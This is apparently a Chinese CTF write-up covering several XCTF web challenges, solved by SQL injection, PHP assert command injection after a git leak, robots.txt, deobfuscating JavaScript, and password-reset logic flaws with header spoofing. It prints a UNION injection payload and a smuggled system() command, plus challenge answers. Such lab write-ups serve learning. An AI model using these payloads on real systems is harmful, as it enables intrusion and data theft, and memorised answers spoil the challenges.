国庆就要莫得了 起床刷几道
NewsCenter
mfw
Training-WWW-Robots
NaNNaNNaNNaN-Batman
BUG
NewsCenter
search传参那里发现有注入 注入出flag即可 没太大转弯
‘ and 0 union select 1,2,fl4g from secret_table #
mfw
发现git泄露 下载下来看源码
index.PHP中关键源码:
<?PHPif (isset($_GET[‘page‘])) { $page = $_GET[‘page‘];} else { $page = "home";}$file = "templates/" . $page . ".PHP";// I heard ‘..‘ is dangerous!assert("strpos(‘$file‘,‘..‘) === false") or dIE("Detected Hacking attempt!");// Todo: Make this look niceassert("file_exists(‘$file‘)") or dIE("That file doesn‘t exist!");?>
assert这个函数在PHP语言中是用来判断一个表达式是否成立。返回true or false;
$file =templates/ abc‘) or system("cat templates/flag.PHP");// ".PHP"
assert("strpos(‘templates/ abc‘) or system("cat templates/flag.PHP");// ".PHP"‘,‘..‘) === false") or dIE("Detected Hacking attempt!");
strpos中传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉
注意这里之所以能像注入攻击一样执行system函数是因为外面有代码执行函数assert
Training-WWW-Robots
这题莫得意思 看到robots就可以看到flag文件了
NaNNaNNaNNaN-Batman
下载下来个文件,打开发现是一段JavaScript脚本
eval(_)
改为console.log(_) 控制台输入调试下
function $(){ var e=document.getElementByID("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.match(/e98aa$/)!=null) if(e.match(/c7be9/)!=null){ var t=["fl","s_a","i","e}"]; var n=["a","_h0l","n"]; var r=["g{","e","_0"]; var i=["it‘","_","n"]; var s=[t,n,r,i]; for(var o=0;o<13;++o) { var a=document.write(s[o%4][0]);s[o%4].splice(0,1) } }} document.write(‘<input ID="c"><button οnclick=$()>Ok</button>‘);delete _
这里如果你要正常满足条件输入 然后打印flag
输入的字符串长度必须为16个字符 字符串的开头必须要匹配be0f23
字符串的结尾必须要匹配e98aa
字符串中要能匹配到233ac
和c7be9
be0f233ac7be98aa
你直接打印也行
BUG
这题有点多 但是不难
打开是个登录
注册号账号后查看是否登陆进去没能找到漏洞
打开修改密码界面,尝试是否有逻辑漏洞
将admin账号的密码成功修改为qing
点击后显示ip不匹配 伪造ip头发现xff可以
源码看到注释
<!-- index.PHP?module=filemanage&do=???-->
这里就需要fuzz了 看到filemanage大概也知道是upload upfile之类的
上传fuzz下
总结
以上是内存溢出为你收集整理的攻防世界(XCTF)WEB(进阶区)write up(二)全部内容,希望文章能够帮你解决攻防世界(XCTF)WEB(进阶区)write up(二)所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)